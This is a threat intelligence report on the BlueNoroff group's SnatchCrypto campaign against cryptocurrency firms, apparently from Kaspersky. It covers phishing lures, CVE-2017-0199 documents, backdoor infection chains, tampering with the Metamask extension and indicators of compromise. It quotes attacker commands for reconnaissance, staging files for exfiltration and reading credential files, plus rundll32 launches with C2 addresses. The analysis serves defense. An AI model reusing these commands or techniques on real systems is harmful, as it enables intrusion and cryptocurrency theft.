BlueNoroff is the name of an APT group coined by Kaspersky researchers while investigating the notorious attack on Bangladesh’s Central Bank back in 2016. A mysterious group with links to Lazarus and an unusual financial motivation for an APT. The group seems to work more like a unit within a larger formation of Lazarus attackers, with the ability to tap into its vast resources: be it malware implants, exploits, or infrastructure. See our earlier publication about BlueNoroff attacks on the banking sector.
Also, we have previously reported on cryptocurrency-focused BlueNoroff attacks. It appears that BlueNoroff shifted focus from hitting banks and SWIFT-connected servers to solely cryptocurrency businesses as the main source of the group’s illegal income. These attackers even took the long route of building fake cryptocurrency software development companies in order to trick their victims into installing legitimate-looking applications that eventually receive backdoored updates. We reported about the first variant of such software back in 2018, but there were many other samples to be found, which was later reported by the US CISA (Cybersecurity and Infrastructure Security Agency) in 2021.
The group is currently active (recent activity was spotted in November 2021).
The latest BlueNoroff’s infection vector
If there’s one thing BlueNoroff has been very good at, it’s the abuse of trust. Be it an internal bank server communicating with SWIFT infrastructure to issue fraudulent transactions, cryptocurrency exchange software installing an update with a backdoor to compromise its own user, or other means. Throughout its SnatchCrypto campaign, BlueNoroff abused trust in business communications: both internal chats between colleagues and interaction with external entities.
According to our research this year, we have seen BlueNoroff operators stalking and studying successful cryptocurrency startups. The goal of the infiltration team is to build a map of interactions between individuals and understand possible topics of interest. This lets them mount high-quality social engineering attacks that look like totally normal interactions. A document sent from one colleague to another on a topic, which is currently being discussed, is unlikely to trigger any suspicion. BlueNoroff compromises companies through precise identification of the necessary people and the topics they are discussing at a given time.
In a simple scenario, it can appear as a notification of a shared document via Google Drive from one colleague/friend to another:
Note the tiny “X” image – it’s an icon for an image that failed to load. We opened the email on an offline system; if the system had been connected to the internet, there would be a real icon for a Google document loaded from a third-party tracking server that immediately notifies the attacker that the target opened the email.
But we also observed a slightly more elaborate approach of an email being forwarded from one colleague to another. This works even better for the attacker, because the original email and the attachment appear to have already been checked by the forwarding party. Ultimately, it elevates the level of trust sufficiently for the document to be opened.
We haven’t shown the forwarder address as it belongs to an attacked user, but note there is a piece of text that reads “via sendgrid.net”. There is no website at sendgrid.net, but it can be a domain owned by a US-based company called Sendgrid, that specializes in email distribution, and email marketing campaigns. According to its website, it offers rich user-tracking capabilities and claims to be sending 90 billion emails every month. It seems to be a legitimate and reputable business, which is probably why Gmail accepts MIME header customization (or sender address forgery in the case of an attack) with nothing more than the short remark “via sendgrid.net”. We informed Sendgrid of this activity. Of course, many users could easily overlook the remark or simply not know what it means. The person, whose name was abused here, seems to be in the top management of the Digital Currency Group (dcg.co), according to public information. To make it clear, we believe that the employee of the company, or the company itself has nothing to do with this attack or the email.
Which other company names have they abused? There are many. We have compiled a list of names and logos so you can watch out for them in your inbox.
The companies, whose logos are displayed here, were chosen by BlueNoroff’s for impersonation in social engineering tricks. Note, this is no proof that the companies listed were compromised.
If you recognize them in incoming communication, there’s no reason to panic, but proceed with caution. For example, you can open the incoming documents in a sandboxed or virtualized offline environment, convert the document to a different format or use a non-standard viewer (i.e., server-side document viewer like GoogleDocs, Collabora Online, ONLYOFFICE, Microsoft Office Online, etc.).
In some cases, we saw what looked like the compromise of an existing registered company and the subsequent use of its resources such as social media accounts, messengers and email to initiate business interaction with the target. If a venture capital company approaches a startup and sends files that look like an investment contract or some other promising documents, the startup won’t hesitate to open them, even if some risk is involved and Microsoft Office adds warning messages.
A compromised LinkedIn account of an actual company representative was used to approach a target and engage with them. The true company’s website is different from the one referenced in the conversation. By manipulating trust in this way, BlueNoroff doesn’t even need to burn valuable 0-days. Instead, they can rely on regular macro-enabled documents or older exploits.
We found they generally stick to CVE-2017-0199, using it again and again before trying something else. The vulnerability initially allowed automatic execution of a remote script linked to a weaponized document. The exploit relies on fetching remote content via an embedded URL inside one of the document meta files. An attentive user may even spot something fishy is happening while MS Word shows a standard loading popup window.
If the document was opened offline or the remote content was blocked, it presents some legitimate content, likely scraped or stolen from another party.
If the document isn’t blocked from connecting to the internet, it fetches a remote template that is another macro-enabled document. The two documents are like two ingredients of an explosive that when mixed together produce a blast. The first one contains two base64-encoded binary objects (one for 32-bit and 64-bit Windows) declared as image data. The second document (the remote template) contains a VBA macro that extracts one of these objects, spawns a new process (notepad.exe) to inject and execute the binary code. Although the binary objects have JPEG headers, they are actually only PE files with modified headers.
Interestingly, BlueNoroff shows improved opsec at this stage. The VBA macro does a cleanup by removing the binary objects and the reference to the remote template from the original document and saving it to the same file. This essentially de-weaponizes the document leaving investigators scratching their head during analysis.
Additionally, we’ve seen that this actor utilized an elevation of privilege (EoP) technique in the initial infection stage. According to our telemetry, the word.exe process, created by opening the malicious document, spawned the legitimate process, dccw.exe. The dccw.exe process is a Windows system file that has auto-elevate permission. Abusing a dccw.exe file is a known technique and we suspect the malware authors used it to run the next stage malware with high privilege. In another case, we have observed word.exe spawning a notepad.exe that received a malware injection and in turn spawning mmc.exe. Unfortunately, the full details of this technique are unavailable due to some missing parts.
We assess that the BlueNoroff group’s interest in cryptocurrency theft started with the SnatchCrypto campaign that has been running since at least 2017. While tracking this campaign, we’ve seen several full-infection chains deliver malware. For the initial infection vector, they usually utilized zipped Windows shortcut files or weaponized Word documents. Note that this group has various methods in their infection arsenal and assembles the infection chain to suit the situation.
Infection chain #1. Windows shortcut
The group has been utilizing this infection vector for a long time. The actor sent an archive-type file containing a shortcut file and document to the victim. All archives used for the initial infection vector had a similar structure. The archive contained a document file such as Word, Excel or PDF file that was password protected alongside another file disguised as a text file containing the document’s password. This file is in fact a Windows shortcut file used to fetch the next stage payload.
Archive file and its contents
Before implanting a Windows executable type backdoor, the malware delivered a Visual Basic Script and Powershell Script through multiple stages.
The fetched VBS file is responsible for fingerprinting the victim by sending basic system information, network adapter information, and a process list. Next, the Powershell agent is delivered in encoded format. It also sends the victim’s general information to the C2 server and next Powershell agent, which is capable of executing commands from the malware operator.
VBS and Powershell delivery chain
Using this Powershell agent a full-featured backdoor is created, executing with the command line parameter:
rundll32.exe %Public%wmc.dll,#1 4ZK0gYlgqN6ZbKd/NNBWTJOINDc+jJHOFH/9poQ+or9l
The malware checks the command line parameter, decoding it with base64 and decrypting it with an embedded key. The decrypted data contains:
- 63429981 63407466 45.238.25[.]2 443
To verify the parameter’s legitimacy, the malware XORs the second parameter with the 0x5837 hex value, comparing it with the first parameter. If both values match, the malware returns the decrypted C2 address and port. The malware also loads a configuration file (%Public%VideosOfficeIntegrator.dat in this case), decrypting it using RC4. This configuration file contains C2 addresses and the next stage payload path will be loaded. The malware has enriched backdoor functionalities that can control infected machines:
- Directory/File manipulation
- Process manipulation
- Registry manipulation
- Executing commands
- Updating configuration
- Stealing stored data from Chrome, Putty, and WinSCP
These are used to deploy other malware tools to monitor the victim: a keylogger and screenshot taker.
Infection chain #2. Weaponized Word document
Another infection chain we’ve seen started from a malicious Word document. This is where the actor utilized remote template injection (CVE-2017-0199) with an embedded malicious Visual Basic Script. In one file (MD5: e26725f34ebcc7fa9976dd07bfbbfba3) the remotely fetched template refers to the first stage document and reads the encoded payload from it, injecting it to the legitimate process.
Remote template infection chain
The other case embedded a malicious Visual Basic Script and extracted a Powershell agent on the victim’s system. Going through this initial infection procedure results in a Windows executable payload being installed.
The persistence backdoor #1 is created in the Start menu path for the persistence mechanism and spawns the first export function with the C2 address.
rundll32.exe "%appdata%microsoftwindowsstart menuprogramsmaintenancedefault.rdp",#1 https://sharedocs[.]xyz/jyrhl4jowfp/eyi8t5sjli/qzrk8blr_q/rnyyuekwun/yzm1ncj8yb/a3q==
Upon execution, the malware generates a unique installation ID based on the combined hostname, username and current timestamp, which are concatenated and hashed using a simple string hashing algorithm. After sending a beacon to the C2 server, the malware collects general system information, sending it after AES encryption. The data received from the server is expected to have the following structure:
The PROCESS_ID indicates the target process into which the malware will inject a new DLL. DLL_FILE_SIZE is the size of the DLL file to inject. And lastly, DLL_FILE_DATA contains the actual binary executable file to inject.
Based on our telemetry, the actor used another type of backdoor. The persistence backdoor #2 is used to silently run an additional executable payload that is received over an encrypted channel from a remote server. The server address is not hardcoded but rather stored in an encrypted file on the disk (%WINDIR%AppPatchPublisherPolicy.tms), whose path is hardcoded in the backdoor. The decrypted configuration file has an identical structure to the configuration file used in Infection chain #1.
As we can see from the above case, the actor behind this campaign delivered the final payload with multi-stage infection and carefully delivered the next payload after checking the fingerprint of the victim. This makes it harder to collect indicators to respond to the attack. With a strict infection chain, a full-featured Windows executable type backdoor is installed. This custom backdoor has long been attributed only to the BlueNoroff group, so we strongly believe that The BlueNoroff group is behind this campaign.
One of the strategies this threat actor usually uses after implanting a full-featured backdoor is the common discovery and collection strategy used by APT threat actors. We managed to identify BlueNoroff’s hands-on activities on one victim and observed that the group delivered the final payload very selectively. The malware operator mostly relied on Windows commands when performing initial profiling. They collected user accounts, IP addresses and session information:
- cmd.exe /c “query session >%temp%TMPBFF2.tmp 2>&1”
- cmd.exe /c “ipconfig /all >%temp%TMPEEE2.tmp 2>&1”
- cmd.exe /c “whoami >%temp%TMP218C.tmp 2>&1”
- cmd.exe /c “net user [user account] /domain >%temp%TMP4B7C.tmp 2>&1”
- cmd.exe /c “net localgroup administrators >%temp%TMP9518.tmp 2>&1”
- cmd.exe /c “query session >%temp%TMPBFF2.tmp 2>&1”
- cmd.exe /c “ipconfig /all >%temp%TMPEEE2.tmp 2>&1”
In the collection phase, the malware operator also relied on Windows commands. After finding folders of interest, they copied a folder named 策略档案 (Chinese for “Policy file“) to the previously created “MM” folder for exfiltration. Also, they collected a configuration file related to cryptocurrency software in order to extract possible credentials or other account details.
- cmd.exe /c “mkdir %public%MM >%temp%TMPF522.tmp 2>&1”
- xcopy “%user%Desktop[redacted]工作文档MM策略档案” %public%MM /S /E /Q /Y
- cmd.exe /c “rd /s /q %public%MM >%temp%TMP729D.tmp 2>&1”
- cmd.exe /c “type D:2Crypt[redacted]Crypt[redacted].conf >%temp%TMP496B.tmp 2>&1″
From one victim, we discovered that the operators manually copied a file that was created by one of the monitoring utilities (such as screenshot or keystroke data) to the %TEMP% folder in order to be sent to an attacker-controlled remote resource.
- cmd.exe /c “copy “%appdata%MicrosoftFeedsCreds_5FADD329.dat” %public% >%temp%TMP11C4.tmp 2>&1″
In some cases where the attackers realized they had found a prominent target, they carefully monitored the user for weeks or months. They collected keystrokes and monitored the user’s daily operations, while planning a strategy for financial theft.
If the attackers realize that the target uses a popular browser extension to manage crypto wallets (such as the Metamask extension), they change the extension source from Web Store to local storage and replace the core extension component (backgorund.js) with a tampered version. At first, they are interested in monitoring transactions. The screenshot below shows a comparison of two files: a legitimate Metamask background.js file and its compromised variant with injected lines of code highlighted in yellow. You can see that in this case they set up monitoring of transactions between a particular sender and recipient address. We believe they have a vast monitoring infrastructure that triggers a notification upon discovering large transfers.
The details of the transaction are automatically submitted via HTTP to a C2 server:
In another case, they realized that the user owned a substantial amount of cryptocurrency, but used a hardware wallet. The same method was used to steal funds from that user: they intercepted the transaction process and injected their own logic.
This way, when the compromised user transfers funds to another account, the transaction is signed on the hardware wallet. However, given that the action was initiated by the user at the very right moment, the user doesn’t suspect anything fishy is going on and confirms the transaction on the secure device without paying attention to the transaction details. The user doesn’t get too worried when the size of the payment he/she inputs is low and the mistake feels insignificant. However, the attackers modify not only the recipient address, but also push the amount of currency to the limit, essentially draining the account in one move.
The injection is very hard to find manually unless you are very familiar with the Metamask codebase. However, a modification of the Chrome extension leaves a trace. The browser has to be switched to Developer mode and the Metamask extension is installed from a local directory instead of the online store. If the plugin comes from the store, Chrome enforces digital signature validation for the code and guarantees code integrity. So, if you are in doubt, immediately check your Metamask extension and Chrome settings.
Developer mode enabled in Google Chrome
If you use Developer mode, make sure your important extensions come from the Web Store
Unless you are a Metamask developer yourself, this may indicate a Trojanized extension
The target of the SnatchCrypto campaign is not limited to specific countries and continents. This campaign is aimed at various companies that by the nature of their work deal with cryptocurrencies and smart contracts, DeFi, blockchains, and FinTech industry.
According to our telemetry, we discovered victims from Russia, Poland, Slovenia, Ukraine, the Czech Republic, China, India, the US, Hong Kong, Singapore, the UAE and Vietnam. However, based on the shortened URL click history and decoy documents, we assess there were more victims of this financially motivated attack campaign.
In addition to the above-mentioned countries, we observed uploads of weaponized documents and compromised Metamask extensions from Indonesia, the UK, Sweden, Germany, Bulgaria, Estonia, Russia, Malta and Portugal.
We assess with high confidence that the financially motivated BlueNoroff group is behind this campaign. As a result of understanding the SnatchCrypto campaign’s full chain of infection, we can identify several overlaps with the BlueNoroff group’s previous activities.
VBA macro authorship
Analysis of the VBA macro from the remote template used during the initial infection revealed that the code matched the style and technique previously used by Clément Labro, an offensive security researcher from the company SCRT based out of Morges, Vaud, Switzerland. The original code for process injection from the VBA macro hasn’t been found in the public, so either Clément has privately developed it and later it became available to BlueNoroff, or someone adapted his other VBA code, such as the VBA-RunPE project.
PowerShell scripts overlap
One tool this group relied heavily on is the PowerShell script. Through an initial infection they deployed PowerShell agents on several victims, sending basic system information and executing commands from the control server. They have utilized this PowerShell continuously, while adding small updates.
|PowerShell script used in previous BlueNoroff campaign||PowerShell script used in 2021 campaign|
Through the complicated infection chain, a Windows executable type backdoor is eventually installed on the victim machine. We can only identify this backdoor malware from a few hosts. It has many code similarities with previously known BlueNoroff malware. Using Kaspersky Threat Attribution Engine (KTAE), we see that the malware binaries used in this campaign have considerable code similaritis with known tools of the BlueNoroff group.
Code similarity of backdoor
In addition, we can identify uncommon techniques usually discovered from the BlueNoroff group’s malware. The group’s malware acquires a real C2 address by XORing the resolved IP address with a hardcoded DWORD value. We saw the same technique in our previous BlueNoroff report. The malware used in the SnatchCrypto campaign also used the same technique to acquire real C2 addresses.
Similar C2 address acquiring scheme
In addition, based on the metadata of the Windows shortcut files, we found that the actor behind this campaign is familiar with the Korean operating system environment.
[String Data] Working Directory (UNICODE): %currentdir% Arguments (UNICODE): hxxps://bit[.]ly/2Q9tfCz Icon location (UNICODE): C:Windowsnotepad.exe [Console Code Page] Code page: 949 (EUC-KR)
BlueNoroff’s indicators of compromise
Malicious shortcut files
961e6ec465d7354a8316393b30f9c6e9 Gdpr Password.txt.lnk
a2be99a5aa26155e6e42a17fbe4fd54d Security Bugs in rigs.pdf.lnk
790a21734604b374cf260d20770bfc96 SALT Lending Opportunities.pdf.lnk
02904e802b5dc2f85eec83e3c1948374 Security Bugs in Operation.pdf.lnk
00a63a302dcaffc9f28826e9dba30e03 Abies VC Presentation.docx
ee9dda6bbbb1138263873dbef36a4d42 Abies VC Presentation.docx
0f1c81c2023eae0fc092ce9f58213bcf Abies VC Presentation.docx
491e0d776f01f102d36155a46f1a8e3c Ant Capital Presentation (Azure Protected).docx
c33ce08ebcc6e508bb3a17e0fa7b08f8 Global Brain Pitch Deck.docx
340fb219872ce3c0d3acf924f4f9e598 Venture Labo Investment Pitch Deck.docx
2a9ff6d80cdd4aeed1c48a1ccdc525dd Abies VC Presentation.docx
ecf75bec770edcd89a3c16d3c4edde1a Abies VC Presentation (1).docx
6c4943f4c28a07ee8cae41dad16d72b3 Abies VC Presentation.docx
f76e2e6bfbee77ae36049880d7c227f7 Abies VC Presentation.docx
7aec3d1b24ed0946ab740924be5834fa Abies VC Presentation.docx
47e325e3467bfa80055b7c0eebb11212 Abies VC Presentation.docx
1e0d96c551ca31a4055491edc17ce2dd Abies VC Presentation.docx
bcf97660ce2b09cbffb454aa5436c9a0 Digital Asset Investment Stategy 2020 (ISO 27001).docx
13ff15ac54a297796e558bb96feaacfd Abies VC Presentation(ISO 27001).docx
cace67b3ea1ce95298933e38311f6d0b Adviser-Non-Disclosure-Agreement-NDA(ISO 27001).docx
645adf057b55ef731e624ab435a41757 OKEx and DeepMind Intro Deck(ISO 27001_Protected).docx
bde4747408ce3cfdfe8238a133ebcac9 Circle Business Introduction(ISO 27001).docx
421b1e1ab9951d5b8eeda5b041cb0657 Berkshire Hathaway HomeServices Custody – Mutual NDA.docx
d2f08e227cd528ad8b26e9bbe285ae3c Union Square Ventures Partnership – Mutual NDA Form.docx
04deb35316ebe1789da042c8876c0622 Chiliz Partnership – Mutual NDA Form.docx
af4eefa8cddc1e412fe91ad33199bd71 FasterCapital Mutual NDA Form.docx
34239a3607d8b5b8ddd6797855f2e827 FasterCapital Introduction 2020 Oct.docx
389172d2794d789727b9f7d01ec27f75 Lundbergs NDA Mutual Form.docx
f40e7998a84495648b0338bc016b9417 Union Square Ventures Partnership – Mutual NDA Form.docx
adf9dc317272dc3724895cb07631c361 Non-Disclosure-Agreement-NDA(ISO 27001).docx
158d84c90a79edb97ec5b840d86217c7 Venture Labo Investment Pitch Deck.docx
e26725f34ebcc7fa9976dd07bfbbfba3 Global Brain Pitch Deck.docx
f26eaa212c503aaba6e5015cb8ef44b5 Venture Labo Investment Pitch Deck.docx
793de76de6d4015ebdd5e552ac5b2f90 Pantera Capital Investment Agreement(Protected).docx
709ec9fbbc3c37ccd39758527c332b84 Pantera Capital Investment Agreement(Protected).docx
89099235aad37a29b7acedc96fda0037 Venture Labo Investment Pitch Deck.docx
358791e1abd64f490c865643a3fbb93d Z Venture Capital Presentation(Protected).docx
cea54a904434c66f217fbadc571e1507 Z Venture Capital Presentation(Protected).docx
9be0075b9344590b3cabf61c194db180 Rapid Change of Stablecoin (Protected).docx
98e30453bbf1c9c9f48368f9bbe69edd Z Venture Capital Presentation(Protected).docx
9ad7b21603ecce5ee744ba8aa387fb6c Pantera Capital Investment Agreement(Protected).docx.123.docx.123
Injected remote template
Visual Basic Script
8ae6aa90b5f648b3911430f14c92440b %APPDATA%MicrosoftWindowsStart MenuProgramsStartupcheck.vbs
589f1bb4da89cfd4a2f7f3489aa426a9 %APPDATA%microsoftwindowsstart menuprogramsstartupguide.vbs
db91826cb9f2ad6edfed8d6bab5bef1f users.dll, wmc.dll
Persistence Backdoor #1
Persistence Backdoor #2
C2 address used by backdoor
This post appeared first on SecureList – Kaspersky Lab’s Cyberthreat Research and Reports
Author: Seongsu Park, Vitaly Kamluk